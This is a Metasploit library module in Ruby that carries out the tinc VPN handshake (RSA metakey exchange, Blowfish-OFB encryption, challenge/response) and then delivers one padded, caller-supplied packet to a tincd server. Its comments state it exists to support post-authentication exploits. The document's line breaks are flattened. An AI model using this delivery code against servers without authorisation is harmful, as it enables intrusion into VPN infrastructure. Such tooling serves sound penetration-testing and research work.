require 'msf/core' require 'msf/core/exploit/tcp' require 'securerandom' require 'openssl' require 'digest/sha1' module Msf # This module does a handshake with a tincd server and sends one padded packet # Author: Tobias Ospelt @floyd_ch module Exploit::Remote::TincdExploitClient include Msf::Exploit::Remote::Tcp BF_BLOCKSIZE = 64 / 8 BF_KEY_LEN = 16 BF_IV_LEN = 8 # # Module options # def initialize(info = {}) super register_options( [Opt::RPORT(655), # As this is only for post-auth exploits, you should know the value of the # following variables by simply checking # your configuration. OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']), OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']), # You should see CLIENT_NAME in cleartext in the first message to the # server by your usual tinc client (tcpdump or # wireshark it: e.g. "0 home 17.0", so it's "home"). On the server, # this is located in the config folder, e.g. in FreeBSD # there is the client public key file /usr/local/etc/tinc/hosts/home # for the client "home" # If you don't have a clue, maybe just try the filename of your private # key without file extension OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , '']) ], self ) end # # Setting up variables and calling cipher inits with file paths from configuration # def setup_ciphers @state = :id_state @buffer = '' @inbuffer = '' @encryption_queue = [] @packet_payload = nil @keep_reading_socket = false @server_key_len = nil @client_key_len = nil @client_private_key_cipher = nil @hex_enc_key_s1 = nil @bf_enc_cipher = nil init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE']) vprint_status('Ciphers locally initalized, private key and public key files seem to be ok') @bf_dec_cipher = nil end # # The main method that will be called that will call other methods to send first message # and continously read from socket and ensures TCP disconnect at the end # def send_recv(packet_payload) @packet_payload = packet_payload @keep_reading_socket = true connect begin # send the first message id # Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout? while @keep_reading_socket process_data(sock.get_once) end rescue Errno::ECONNRESET if @state == :metakey_state fail 'Server reset the connection. Probably rejecting ' + 'the private key and/or client name (e.g. client name not associated ' + 'with client public key on server side). ' + 'Wrong server public key possible too. ' + 'Please recheck client name, client private key and ' + 'server public key.' else fail 'Server reset the connection, reason unknown.' end ensure disconnect end end # # Reading of certificate files and parsing them, generation of random keys # and intialization of OFB mode blowfish cipher # def init_ciphers(server_file, client_file) server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file)) @server_key_len = server_public_key_cipher.n.num_bytes @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file)) @client_key_len = @client_private_key_cipher.n.num_bytes vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge") vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length") # we don't want this to happen here: # `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError) # simple solution: choose the key_s1 with a leading zero byte key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1) enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING) @hex_enc_key_s1 = enc_key_s1.unpack('H*')[0] offset_key = @server_key_len - BF_KEY_LEN offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN bf_enc_key = key_s1[offset_key...@server_key_len] bf_enc_iv = key_s1[offset_iv...offset_key] @bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB') @bf_enc_cipher.encrypt @bf_enc_cipher.key = bf_enc_key @bf_enc_cipher.iv = bf_enc_iv # #Looks like ruby openssl supports other lengths than multiple of 8! # test = @bf_enc_cipher.update('A'*10) # test << @bf_enc_cipher.final # puts "Testing cipher: "+test.unpack('H*')[0] end # # Depending on the state of the protocol handshake and the data we get back # from the server, this method will decide which message has to be sent next # def process_data(data) @inbuffer += data if data case @state when :id_state if line? data = read_line vprint_status("Received ID from server: [#{data[0..30]}]") @state = :metakey_state # next expected state metakey end when :metakey_state if line? data = read_line vprint_status("Received Metakey from server: [#{data[0..30]}...]") data = data.split(' ') fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1' hexkey_s2 = data[5].rstrip # ("\n") fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2 @enckey_s2 = [hexkey_s2].pack('H*') key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING) # metakey setup according to protocol_auth.c # if(!EVP_DecryptInit(c->inctx, c->incipher, # (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer # (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer # )) offset_key = @client_key_len - BF_KEY_LEN offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN bf_dec_key = key_s2[offset_key...@client_key_len] bf_dec_iv = key_s2[offset_iv...offset_key] @bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB' @bf_dec_cipher.encrypt @bf_dec_cipher.key = bf_dec_key @bf_dec_cipher.iv = bf_dec_iv # don't forget, it *does* matter if you do a # @bf_dec_cipher.reset or not, we're in OFB mode. DON'T. vprint_status('Metakey handshake/exchange completed') @state = :challenge_state challenge end when :challenge_state need_len = 2 * @client_key_len + 3 if @inbuffer.length >= need_len data = pop_inbuffer_and_decrypt(need_len) vprint_status("Received challenge from server: " + "[#{data.unpack('H*')[0][0..30]}...]") data = data.split(' ', 2) fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2' challenge2 = data[1][0...2 * @client_key_len] challenge2 = [challenge2].pack('H*') fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len @state = :challenge_reply_state challenge_reply(challenge2) end when :challenge_reply_state need_len = 43 if @inbuffer.length >= need_len data = pop_inbuffer_and_decrypt(need_len) vprint_status("Received challenge reply from server:" + " [#{data.unpack('H*')[0][0..30]}...]") @state = :ack_state ack end when :ack_state need_len = 12 if @inbuffer.length >= need_len data = pop_inbuffer_and_decrypt(need_len) vprint_status("Received ack (server accepted challenge response):" + "[#{data.unpack('H*')[0][0..30]}...]") @state = :done_state send_packet end end end # # Encryption queue where waiting data gets encrypted and afterwards # the remaining messages get sent # def handle_write # handle encryption queue first unless @encryption_queue.empty? msg = @encryption_queue[0] @encryption_queue.delete_at(0) @buffer = @bf_enc_cipher.update(msg) @buffer << @bf_enc_cipher.final # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and # the resulting block is used to encrypt the next block. end unless @buffer.empty? sent = send_data(@buffer) vprint_status("Sent #{sent} bytes: " + "[#{@buffer.unpack('H*')[0][0..30]}...]") @buffer = @buffer[sent..@buffer.length] end end # # Simple socket put/write # def send_data(buf) sock.put(buf) end # # Decryption method to process data sent by server # def pop_inbuffer_and_decrypt(size) # In ruby openssl OFM works not only on full blocks, but also on # parts. Therefore no worries like in pycrypto and no # modified decrypt routine, simply use the cipher as is. data = @bf_dec_cipher.update(@inbuffer.slice!(0, size)) data << @bf_dec_cipher.final # DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and # the resulting block is used to decrypt the next block. end # # Read up to the next newline from the data the server sent # def read_line idx = @inbuffer.index("\n") data = @inbuffer.slice!(0, idx) @inbuffer.lstrip! data end # # Check if we already received a newline, meaning we got an # entire message for the next protocol step # def line? !!(@inbuffer.match("\n")) end # # Start message method after TCP handshake # def id msg = "0 #{datastore['CLIENT_NAME']} 17.0\n" vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]") @buffer += msg handle_write end # # Sending metakey (transferring a symmetric key that will get encrypted with # public key before beeing sent to the server) # def metakey msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n" vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]") @buffer += msg handle_write end # # Send challenge random bytes # def challenge vprint_status('Sending challenge (ciphertext)') challenge = SecureRandom.random_bytes(@server_key_len) msg = "2 #{challenge.unpack('H*')[0]}\n" @encryption_queue.push(msg) handle_write end # # Reply to challenge that was sent by server # def challenge_reply(challenge2) vprint_status('Sending challenge reply (ciphertext)') h = Digest::SHA1.hexdigest(challenge2) msg = "3 #{h.upcase}\n" @encryption_queue.push(msg) handle_write end # # Ack state to signalise challenge/response was successfull # def ack vprint_status('Sending ack (signalise server that we accept challenge' + 'reply, ciphertext)') @encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n") handle_write end # # Sending a packet inside the VPN connection after successfull protocol setup # def send_packet vprint_status('Protocol finished setup. Going to send packet.') msg = "17 #{@packet_payload.length}\n#{@packet_payload}" plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE) # padding msg += 'B' * plen @encryption_queue.push(msg) @keep_reading_socket = false handle_write end end end